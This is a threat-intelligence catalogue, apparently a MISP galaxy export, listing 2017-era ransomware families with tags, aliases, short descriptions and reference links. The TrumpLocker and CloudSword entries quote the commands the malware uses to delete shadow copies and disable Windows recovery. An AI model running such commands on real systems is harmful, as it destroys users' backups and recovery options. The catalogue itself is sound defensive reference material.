ConsoleApplication1 Ransomware

The tag is: misp-galaxy:ransomware="ConsoleApplication1 Ransomware"

Table 3511. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/consoleapplication1-ransomware.html

KRider Ransomware

The tag is: misp-galaxy:ransomware="KRider Ransomware"

Table 3512. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/krider-ransomware.html
https://twitter.com/malwrhunterteam/status/836995570384453632

CYR-Locker Ransomware (FAKE)

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The following note is what you get if you put in the wrong key code: https://3.bp.blogspot.com/-qsS0x-tHx00/WLM3kkKWKAI/AAAAAAAAEDg/Zhy3eYf-ek8fY5uM0yHs7E0fEFg2AXG-gCLcB/s1600/failed-key.jpg

The tag is: misp-galaxy:ransomware="CYR-Locker Ransomware (FAKE)"

Table 3513. Table References
Links
https://id-ransomware.blogspot.co.il/search?updated-min=2017-01-01T00:00:00-08:00&updated-max=2018-01-01T00:00:00-08:00&max-results=50

DotRansomware

The tag is: misp-galaxy:ransomware="DotRansomware"

Table 3514. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/dotransomware.html

Unlock26 Ransomware

About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments.All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Unlock26 Ransomware"

Table 3515. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/unlock26-ransomware.html
https://www.bleepingcomputer.com/news/security/new-raas-portal-preparing-to-spread-unlock26-ransomware/

PicklesRansomware

The tag is: misp-galaxy:ransomware="PicklesRansomware"

Table 3516. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/pickles-ransomware.html
https://twitter.com/JakubKroustek/status/834821166116327425

Vanguard Ransomware

The tag is: misp-galaxy:ransomware="Vanguard Ransomware"

Table 3517. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/vanguard-ransomware.html
https://twitter.com/JAMESWT_MHT/status/834783231476166657

PyL33T Ransomware

The tag is: misp-galaxy:ransomware="PyL33T Ransomware"

Table 3518. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/pyl33t-ransomware.html
https://twitter.com/Jan0fficial/status/834706668466405377

TrumpLocker Ransomware

This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This is the old VenusLocker in disquise .To delete shadow files use the following commend: C:\Windows\system32\wbem\wmic.exe shadowcopy delete&exit https://2.bp.blogspot.com/-8qIiBHnE9yU/WK1mZn3LgwI/AAAAAAAAD-M/ZKl7_Iwr1agYtlVO3HXaUrwitcowp5_NQCLcB/s1600/lock.jpg

The tag is: misp-galaxy:ransomware="TrumpLocker Ransomware"

Table 3519. Table References
Links
https://www.bleepingcomputer.com/news/security/new-trump-locker-ransomware-is-a-fraud-just-venuslocker-in-disguise/
https://id-ransomware.blogspot.co.il/2017/02/trumplocker.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-24th-2017-trump-locker-macos-rw-and-cryptomix/

Damage Ransomware

The tag is: misp-galaxy:ransomware="Damage Ransomware"

Table 3520. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/damage-ransomware.html
https://decrypter.emsisoft.com/damage
https://twitter.com/demonslay335/status/835664067843014656

XYZWare Ransomware

The tag is: misp-galaxy:ransomware="XYZWare Ransomware"

Table 3521. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/xyzware-ransomware.html
https://twitter.com/malwrhunterteam/status/833636006721122304

YouAreFucked Ransomware

The tag is: misp-galaxy:ransomware="YouAreFucked Ransomware"

Table 3522. Table References
Links
https://www.enigmasoftware.com/youarefuckedransomware-removal/

CryptConsole 2.0 Ransomware

The tag is: misp-galaxy:ransomware="CryptConsole 2.0 Ransomware"

Table 3523. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/cryptconsole-2-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/

BarRax Ransomware

The tag is: misp-galaxy:ransomware="BarRax Ransomware"

BarRax Ransomware is also known as:

BarRaxCrypt Ransomware

Table 3524. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/barraxcrypt-ransomware.html
https://twitter.com/demonslay335/status/835668540367777792

CryptoLocker by NTK Ransomware

The tag is: misp-galaxy:ransomware="CryptoLocker by NTK Ransomware"

Table 3525. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/cryptolocker-by-ntk-ransomware.html

UserFilesLocker Ransomware

The tag is: misp-galaxy:ransomware="UserFilesLocker Ransomware"

UserFilesLocker Ransomware is also known as:

CzechoSlovak Ransomware

Table 3526. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/userfileslocker-ransomware.html

AvastVirusinfo Ransomware

The tag is: misp-galaxy:ransomware="AvastVirusinfo Ransomware"

Table 3527. Table References
Links
https://id-ransomware.blogspot.co.il/2017_03_01_archive.html
https://id-ransomware.blogspot.co.il/2017/03/avastvirusinfo-ransomware.html

SuchSecurity Ransomware

The tag is: misp-galaxy:ransomware="SuchSecurity Ransomware"

Table 3528. Table References
Links
https://id-ransomware.blogspot.co.il/2017/03/suchsecurity-ransomware.html

PleaseRead Ransomware

The tag is: misp-galaxy:ransomware="PleaseRead Ransomware"

PleaseRead Ransomware is also known as:

VHDLocker Ransomware

Table 3529. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/vhd-ransomware.html

Kasiski Ransomware

The tag is: misp-galaxy:ransomware="Kasiski Ransomware"

Table 3530. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/kasiski-ransomware.html
https://twitter.com/MarceloRivero/status/832302976744173570
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-17th-2017-live-hermes-reversing-and-scada-poc-ransomware/

Fake Locky Ransomware

The tag is: misp-galaxy:ransomware="Fake Locky Ransomware"

Fake Locky Ransomware is also known as:

Locky Impersonator Ransomware

Table 3531. Table References
Links
https://www.bleepingcomputer.com/news/security/the-locky-ransomware-encrypts-local-files-and-unmapped-network-shares/
https://id-ransomware.blogspot.co.il/2017/02/locky-impersonator.html
https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-thor-extension-after-being-a-bad-malware/

CryptoShield 1.0 Ransomware

The tag is: misp-galaxy:ransomware="CryptoShield 1.0 Ransomware"

Table 3532. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/cryptoshield-2-ransomware.html
https://www.bleepingcomputer.com/news/security/cryptomix-variant-named-cryptoshield-1-0-ransomware-distributed-by-exploit-kits/

Hermes Ransomware

The tag is: misp-galaxy:ransomware="Hermes Ransomware"

Hermes Ransomware has relationships with:

similar: misp-galaxy:malpedia="Hermes Ransomware" with estimative-language:likelihood-probability="likely"

Table 3533. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/hermes-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-17th-2017-live-hermes-reversing-and-scada-poc-ransomware/
https://www.bleepingcomputer.com/forums/t/642019/hermes-ransomware-help-support-decrypt-informationhtml/
https://www.bleepingcomputer.com/news/security/hermes-ransomware-decrypted-in-live-video-by-emsisofts-fabian-wosar/

LoveLock Ransomware or Love2Lock Ransomware

The tag is: misp-galaxy:ransomware="LoveLock Ransomware or Love2Lock Ransomware"

Table 3534. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/lovelock-ransomware.html

Wcry Ransomware

The tag is: misp-galaxy:ransomware="Wcry Ransomware"

Table 3535. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/wcry-ransomware.html

DUMB Ransomware

The tag is: misp-galaxy:ransomware="DUMB Ransomware"

Table 3536. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/dumb-ransomware.html
https://twitter.com/bleepincomputer/status/816053140147597312?lang=en

X-Files

The tag is: misp-galaxy:ransomware="X-Files"

Table 3537. Table References
Links
https://id-ransomware.blogspot.co.il/2017_02_01_archive.html
https://id-ransomware.blogspot.co.il/2017/02/x-files-ransomware.html

Polski Ransomware

The tag is: misp-galaxy:ransomware="Polski Ransomware"

Table 3538. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/polski-ransomware.html

YourRansom Ransomware

The tag is: misp-galaxy:ransomware="YourRansom Ransomware"

Table 3539. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/yourransom-ransomware.html
https://www.bleepingcomputer.com/news/security/yourransom-is-the-latest-in-a-long-line-of-prank-and-educational-ransomware/
https://twitter.com/_ddoxer/status/827555507741274113

Ranion RaasRansomware

The tag is: misp-galaxy:ransomware="Ranion RaasRansomware"

Table 3540. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/ranion-raas.html
https://www.bleepingcomputer.com/news/security/ranion-ransomware-as-a-service-available-on-the-dark-web-for-educational-purposes/

Potato Ransomware

Wants a ransom to get the victim’s files back . Originated in English. Spread worldwide.

The tag is: misp-galaxy:ransomware="Potato Ransomware"

Table 3541. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/polato-ransomware.html

of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)

This ransomware is originated in English, therefore could be used worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.

The tag is: misp-galaxy:ransomware="of Ransomware: OpenToYou (Formerly known as OpenToDecrypt)"

Table 3542. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/opentodecrypt-ransomware.html

RansomPlus

Author of this ransomware is sergej. Ransom is 0.25 bitcoins for the return of files. Originated in English. Used worldwide. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.

The tag is: misp-galaxy:ransomware="RansomPlus"

Table 3543. Table References
Links
http://www.2-spyware.com/remove-ransomplus-ransomware-virus.html
https://id-ransomware.blogspot.co.il/2017/01/ransomplus-ransomware.html
https://twitter.com/jiriatvirlab/status/825411602535088129

CryptConsole

This ransomware does not actually encrypt your file, but only changes the names of your files, just like Globe Ransomware. This ransomware is spread with the help of email spam, fake ads, fake updates, infected install files

The tag is: misp-galaxy:ransomware="CryptConsole"

Table 3544. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/cryptconsole-ransomware.html
https://www.bleepingcomputer.com/forums/t/638344/cryptconsole-uncrypteoutlookcom-support-topic-how-decrypt-fileshta/
https://twitter.com/PolarToffee/status/824705553201057794
https://twitter.com/demonslay335/status/1004351990493741057
https://twitter.com/demonslay335/status/1004803373747572736

ZXZ Ramsomware

Originated in English, could affect users worldwide, however so far only reports from Saudi Arabia. The malware name founded by a windows server tools is called win32/wagcrypt.A

The tag is: misp-galaxy:ransomware="ZXZ Ramsomware"

Table 3545. Table References
Links
https://www.bleepingcomputer.com/forums/t/638191/zxz-ransomware-support-help-topic-zxz/?hl=%2Bzxz#entry4168310
https://id-ransomware.blogspot.co.il/2017/01/zxz-ransomware.html

VxLock Ransomware

Developed in Visual Studios in 2010. Original name is VxCrypt. This ransomware encrypts your files, including photos, music, MS office, Open Office, PDF… etc

The tag is: misp-galaxy:ransomware="VxLock Ransomware"

Table 3546. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/vxlock-ransomware.html

FunFact Ransomware

Funfact uses an open code for GNU Privacy Guard (GnuPG), then asks to email them to find out the amout of bitcoin to send (to receive a decrypt code). Written in English, can attach all over the world. The ransom is 1.22038 BTC, which is 1100USD.

The tag is: misp-galaxy:ransomware="FunFact Ransomware"

Table 3547. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/funfact.html
http://www.enigmasoftware.com/funfactransomware-removal/

ZekwaCrypt Ransomware

First spotted in May 2016, however made a big comeback in January 2017. It’s directed to English speaking users, therefore is able to infect worldwide. Ransomware is spread with the help of email spam, fake ads, fake updates, infected install files.

The tag is: misp-galaxy:ransomware="ZekwaCrypt Ransomware"

Table 3548. Table References
Links
https://id-ransomware.blogspot.co.il/2016/06/zekwacrypt-ransomware.html
http://www.2-spyware.com/remove-zekwacrypt-ransomware-virus.html

Sage 2.0 Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. This ransomware attacks your MS Office by offering a Micro to help with your program, but instead incrypts all your files if the used id not protected. Predecessor CryLocker

The tag is: misp-galaxy:ransomware="Sage 2.0 Ransomware"

Table 3549. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/sage-2-ransomware.html
https://isc.sans.edu/forums/diary/Sage+20+Ransomware/21959/
http://www.securityweek.com/sage-20-ransomware-demands-2000-ransom
https://www.bleepingcomputer.com/news/security/sage-2-0-ransomware-gearing-up-for-possible-greater-distribution/
https://www.govcert.admin.ch/blog/27/sage-2.0-comes-with-ip-generation-algorithm-ipga

CloudSword Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. Uses the name “Window Update” to confuse its victims. Then imitates the window update process , while turning off the Window Startup Repair and changes the BootStatusPolicy using these commands: bcdedit.exe /set {default} recoveryenabled No bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

The tag is: misp-galaxy:ransomware="CloudSword Ransomware"

Table 3550. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/cloudsword.html
http://bestsecuritysearch.com/cloudsword-ransomware-virus-removal-steps-protection-updates/
https://twitter.com/BleepinComputer/status/822653335681593345

DN

It’s directed to English speaking users, therefore is able to infect worldwide. Uses the name “Chrome Update” to confuse its victims. Then imitates the chrome update process ,while encrypting the files. DO NOT pay the ransom, since YOUR COMPUTER WILL NOT BE RESTORED FROM THIS MALWARE!!!!

The tag is: misp-galaxy:ransomware="DN"

DN is also known as:

Fake

Table 3551. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/dn-donotopen.html

GarryWeber Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. Its original name is FileSpy and FileSpy Application. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, etc..

The tag is: misp-galaxy:ransomware="GarryWeber Ransomware"

Table 3552. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/garryweber.html

Satan Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. Its original name is RAAS RANSOMWARE. It is spread using email spam, fake updates, infected attachments and so on. It encryps all your files, including: music, MS Office, Open Office, pictures etc.. This ransomware promotes other to download viruses and spread them as ransomware to infect other users and keep 70% of the ransom. (leaving the other 30% to Satan) https://3.bp.blogspot.com/-7fwX40eYL18/WH-tfpNjDgI/AAAAAAAADPk/KVP_ji8lR0gENCMYhb324mfzIFFpiaOwACLcB/s1600/site-raas.gif RaaS

The tag is: misp-galaxy:ransomware="Satan Ransomware"

Satan Ransomware has relationships with:

similar: misp-galaxy:malpedia="Satan Ransomware" with estimative-language:likelihood-probability="likely"

Table 3553. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/satan-raas.html
https://www.bleepingcomputer.com/forums/t/637811/satan-ransomware-help-support-topic-stn-extension-help-decrypt-fileshtml/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-january-20th-2017-satan-raas-spora-locky-and-more/
https://www.bleepingcomputer.com/news/security/new-satan-ransomware-available-through-a-ransomware-as-a-service-/
https://twitter.com/Xylit0l/status/821757718885236740

Havoc

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, infected attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures , videos, shared online files etc..

The tag is: misp-galaxy:ransomware="Havoc"

Havoc is also known as:

HavocCrypt Ransomware

Table 3554. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/havoc-ransomware.html

CryptoSweetTooth Ransomware

The tag is: misp-galaxy:ransomware="CryptoSweetTooth Ransomware"

Table 3555. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/cryptosweettooth.html
http://sensorstechforum.com/remove-cryptosweettooth-ransomware-restore-locked-files/

Kaandsona Ransomware

The tag is: misp-galaxy:ransomware="Kaandsona Ransomware"

Kaandsona Ransomware is also known as:

RansomTroll Ransomware
Käändsõna Ransomware

Table 3556. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/kaandsona-ransomtroll.html
https://twitter.com/BleepinComputer/status/819927858437099520

LambdaLocker Ransomware

It’s directed to English and Chinese speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware

The tag is: misp-galaxy:ransomware="LambdaLocker Ransomware"

Table 3557. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/lambdalocker.html
http://cfoc.org/how-to-restore-files-affected-by-the-lambdalocker-ransomware/

NMoreia 2.0 Ransomware

The tag is: misp-galaxy:ransomware="NMoreia 2.0 Ransomware"

NMoreia 2.0 Ransomware is also known as:

HakunaMatataRansomware

Table 3558. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/hakunamatata.html
https://id-ransomware.blogspot.co.il/2016_03_01_archive.html

Marlboro Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is .2 bitcoin, however there is no point of even trying to pay, since this damage is irreversible. Once the ransom is paid the hacker does not return decrypt the files. Another name is DeMarlboro and it is written in language C++. Pretend to encrypt using RSA-2048 and AES-128 (really it’s just XOR)

The tag is: misp-galaxy:ransomware="Marlboro Ransomware"

Table 3559. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/marlboro.html
https://decrypter.emsisoft.com/marlboro
https://www.bleepingcomputer.com/news/security/marlboro-ransomware-defeated-in-one-day/

Spora Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Sample of a spam email with a viral attachment: https://4.bp.blogspot.com/-KkJXiHG80S0/WHX4TBpkamI/AAAAAAAADDg/F_bN796ndMYnzfUsgSWMXhRxFf3Ic-HtACLcB/s1600/spam-email.png

The tag is: misp-galaxy:ransomware="Spora Ransomware"

Table 3560. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/spora-ransomware.html
https://blog.gdatasoftware.com/2017/01/29442-spora-worm-and-ransomware
http://blog.emsisoft.com/2017/01/10/from-darknet-with-love-meet-spora-ransomware/

CryptoKill Ransomware

The tag is: misp-galaxy:ransomware="CryptoKill Ransomware"

Table 3561. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/cryptokill-ransomware.html

All_Your_Documents Ransomware

The tag is: misp-galaxy:ransomware="All_Your_Documents Ransomware"

Table 3562. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/allyourdocuments-ransomware.html

SerbRansom 2017 Ransomware

The tag is: misp-galaxy:ransomware="SerbRansom 2017 Ransomware"

Table 3563. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/serbransom-2017.html
https://www.bleepingcomputer.com/news/security/ultranationalist-developer-behind-serbransom-ransomware/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-10th-2017-serpent-spora-id-ransomware/
https://twitter.com/malwrhunterteam/status/830116190873849856

Fadesoft Ransomware

The tag is: misp-galaxy:ransomware="Fadesoft Ransomware"

Table 3564. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/fadesoft-ransomware.html
https://twitter.com/malwrhunterteam/status/829768819031805953
https://twitter.com/malwrhunterteam/status/838700700586684416

HugeMe Ransomware

The tag is: misp-galaxy:ransomware="HugeMe Ransomware"

Table 3565. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/hugeme-ransomware.html
https://www.ozbargain.com.au/node/228888?page=3
https://id-ransomware.blogspot.co.il/2016/04/magic-ransomware.html

DynA-Crypt Ransomware

The tag is: misp-galaxy:ransomware="DynA-Crypt Ransomware"

DynA-Crypt Ransomware is also known as:

DynA CryptoLocker Ransomware

Table 3566. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/dyna-crypt-ransomware.html
https://www.bleepingcomputer.com/news/security/dyna-crypt-not-only-encrypts-your-files-but-also-steals-your-info/

Serpent 2017 Ransomware

The tag is: misp-galaxy:ransomware="Serpent 2017 Ransomware"

Serpent 2017 Ransomware is also known as:

Serpent Danish Ransomware

Table 3567. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/serpent-danish-ransomware.html

Erebus 2017 Ransomware

The tag is: misp-galaxy:ransomware="Erebus 2017 Ransomware"

Table 3568. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/erebus-2017-ransomware.html
https://www.bleepingcomputer.com/news/security/erebus-ransomware-utilizes-a-uac-bypass-and-request-a-90-ransom-payment/

Cyber Drill Exercise

The tag is: misp-galaxy:ransomware="Cyber Drill Exercise "

Cyber Drill Exercise is also known as:

Ransomuhahawhere

Table 3569. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/ransomuhahawhere.html

Cancer Ransomware FAKE

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. This is a trollware that does not encrypt your files but makes your computer act crazy (like in the video in the link below). It is meant to be annoying and it is hard to erase from your PC, but possible.

The tag is: misp-galaxy:ransomware="Cancer Ransomware FAKE"

Table 3570. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/cancer-ransomware.html
https://www.bleepingcomputer.com/news/security/watch-your-computer-go-bonkers-with-cancer-trollware/

UpdateHost Ransomware

The tag is: misp-galaxy:ransomware="UpdateHost Ransomware"

Table 3571. Table References
Links
https://id-ransomware.blogspot.co.il/2017/02/updatehost-ransomware.html
https://www.bleepingcomputer.com/startups/Windows_Update_Host-16362.html

Nemesis Ransomware

The tag is: misp-galaxy:ransomware="Nemesis Ransomware"

Table 3572. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/nemesis-ransomware.html

Evil Ransomware

The tag is: misp-galaxy:ransomware="Evil Ransomware"

Evil Ransomware is also known as:

File0Locked KZ Ransomware

Table 3573. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/evil-ransomware.html
http://www.enigmasoftware.com/evilransomware-removal/
http://usproins.com/evil-ransomware-is-lurking/
https://twitter.com/jiriatvirlab/status/818443491713884161
https://twitter.com/PolarToffee/status/826508611878793219

Ocelot Ransomware (FAKE RANSOMWARE)

It’s directed to English speaking users, therefore is able to infect worldwide. This is a fake ransomware. Your files are not really encrypted, however the attacker does ask for a ransom of .03 bitcoins. It is still dangerous even though it is fake, he still go through to your computer.

The tag is: misp-galaxy:ransomware="Ocelot Ransomware (FAKE RANSOMWARE)"

Ocelot Ransomware (FAKE RANSOMWARE) is also known as:

Ocelot Locker Ransomware

Table 3574. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/ocelot-ransomware.html
https://twitter.com/malwrhunterteam/status/817648547231371264

SkyName Ransomware

It’s directed to Czechoslovakianspeaking users. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear

The tag is: misp-galaxy:ransomware="SkyName Ransomware"

SkyName Ransomware is also known as:

Blablabla Ransomware

Table 3575. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/skyname-ransomware.html
https://twitter.com/malwrhunterteam/status/817079028725190656

MafiaWare Ransomware

The tag is: misp-galaxy:ransomware="MafiaWare Ransomware"

MafiaWare Ransomware is also known as:

Depsex Ransomware

Table 3576. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/mafiaware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-january-6th-2017-fsociety-mongodb-pseudo-darkleech-and-more/
https://twitter.com/BleepinComputer/status/817069320937345024

Globe3 Ransomware

The tag is: misp-galaxy:ransomware="Globe3 Ransomware"

Globe3 Ransomware is also known as:

Purge Ransomware

Globe3 Ransomware has relationships with:

similar: misp-galaxy:ransomware="Globe2 Ransomware" with estimative-language:likelihood-probability="likely"

Table 3577. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/globe3-ransomware.html
https://www.bleepingcomputer.com/forums/t/624518/globe-ransomware-help-and-support-purge-extension-how-to-restore-fileshta/
https://www.bleepingcomputer.com/news/security/the-globe-ransomware-wants-to-purge-your-files/
https://decryptors.blogspot.co.il/2017/01/globe3-decrypter.html
https://decrypter.emsisoft.com/globe3

BleedGreen Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. Ransom is 500$ in bitcoins. Requires .NET Framework 4.0. Gets into your startup system and sends you notes like the one below: https://4.bp.blogspot.com/-xrr6aoB_giw/WG1UrGpmZJI/AAAAAAAAC-Q/KtKdQP6iLY4LHaHgudF5dKs6i1JHQOBmgCLcB/s1600/green1.jpg

The tag is: misp-galaxy:ransomware="BleedGreen Ransomware"

BleedGreen Ransomware is also known as:

FireCrypt Ransomware

Table 3578. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/bleedgreen-ransomware.html
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/

BTCamant Ransomware

The tag is: misp-galaxy:ransomware="BTCamant Ransomware"

Table 3579. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/btcamant.html

X3M Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. It is also possible to break in using RDP Windows with the help of Pass-the-Hash system, PuTTY, mRemoteNG, TightVNC, Chrome Remote Desktop, modified version of TeamViewer, AnyDesk, AmmyyAdmin, LiteManager, Radmin and others. Ransom is 700$ in Bitcoins.

The tag is: misp-galaxy:ransomware="X3M Ransomware"

Table 3580. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/x3m-ransomware.html

GOG Ransomware

The tag is: misp-galaxy:ransomware="GOG Ransomware"

Table 3581. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/gog-ransomware.html
https://twitter.com/BleepinComputer/status/816112218815266816

EdgeLocker

The tag is: misp-galaxy:ransomware="EdgeLocker"

Table 3582. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/edgelocker-ransomware.html
https://twitter.com/BleepinComputer/status/815392891338194945

Red Alert

The tag is: misp-galaxy:ransomware="Red Alert"

Red Alert has relationships with:

similar: misp-galaxy:malpedia="Red Alert" with estimative-language:likelihood-probability="likely"

Table 3583. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/red-alert-ransomware.html
https://twitter.com/JaromirHorejsi/status/815557601312329728

First

The tag is: misp-galaxy:ransomware="First"

Table 3584. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/first-ransomware.html

XCrypt Ransomware

The tag is: misp-galaxy:ransomware="XCrypt Ransomware"

Table 3585. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/xcrypt-ransomware.html
https://twitter.com/JakubKroustek/status/825790584971472902

7Zipper Ransomware

The tag is: misp-galaxy:ransomware="7Zipper Ransomware"

Table 3586. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/7zipper-ransomware.html
https://1.bp.blogspot.com/-ClM0LCPjQuk/WI-BgHTpdNI/AAAAAAAADc8/JyEQ8-pcJmsXIntuP-MMdE-pohVncxTXQCLcB/s1600/7-zip-logo.png

Zyka Ransomware

The tag is: misp-galaxy:ransomware="Zyka Ransomware"

Table 3587. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/zyka-ransomware.html
https://www.pcrisk.com/removal-guides/10899-zyka-ransomware
https://download.bleepingcomputer.com/demonslay335/StupidDecrypter.zip
https://twitter.com/GrujaRS/status/826153382557712385

SureRansom Ransomeware (Fake)

It’s directed to English speaking users, therefore is able to strike worldwide. This ransomware does not really encrypt your files. Ransom requested is £50 using credit card.

The tag is: misp-galaxy:ransomware="SureRansom Ransomeware (Fake)"

Table 3588. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/sureransom-ransomware.html
http://www.forbes.com/sites/leemathews/2017/01/27/fake-ransomware-is-tricking-people-into-paying/#777faed0381c

Netflix Ransomware

It’s directed to English speaking users, therefore is able to infect worldwide. It is spread using email spam, fake updates, attachments and so on. It encrypts all your files, including: music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware uses the known online library as a decoy. It poses as Netflix Code generator for Netflix login, but instead encrypts your files. The ransom is 100$ in Bitcoins.

The tag is: misp-galaxy:ransomware="Netflix Ransomware"

Table 3589. Table References
Links
https://id-ransomware.blogspot.co.il/2017/01/netflix-ransomware.html
http://blog.trendmicro.com/trendlabs-security-intelligence/netflix-scam-delivers-ransomware/
https://www.bleepingcomputer.com/news/security/rogue-netflix-app-spreads-netix-ransomware-that-targets-windows-7-and-10-users/
http://www.darkreading.com/attacks-breaches/netflix-scam-spreads-ransomware/d/d-id/1328012
https://4.bp.blogspot.com/-bQQ4DTIClvA/WJCIh6Uq2nI/AAAAAAAADfY/hB5HcjuGgh8rRJKeLHoIRz3Ezth22-wCEw/s1600/form1.jpg[https://4.bp.blogspot.com/-bQQ4DTIClvA/WJCIh6Uq2nI/AAAAAAAADfY/hB5HcjuGgh8rRJKeLHoIRz3Ezth22-wCEw/s1600/form1.jpg]
https://4.bp.blogspot.com/-ZnWdPDprJOg/WJCPeCtP4HI/AAAAAAAADfw/kR0ifI1naSwTAwSuOPiw8ZCPr0tSIz1CgCLcB/s1600/netflix-akk.png

Merry Christmas

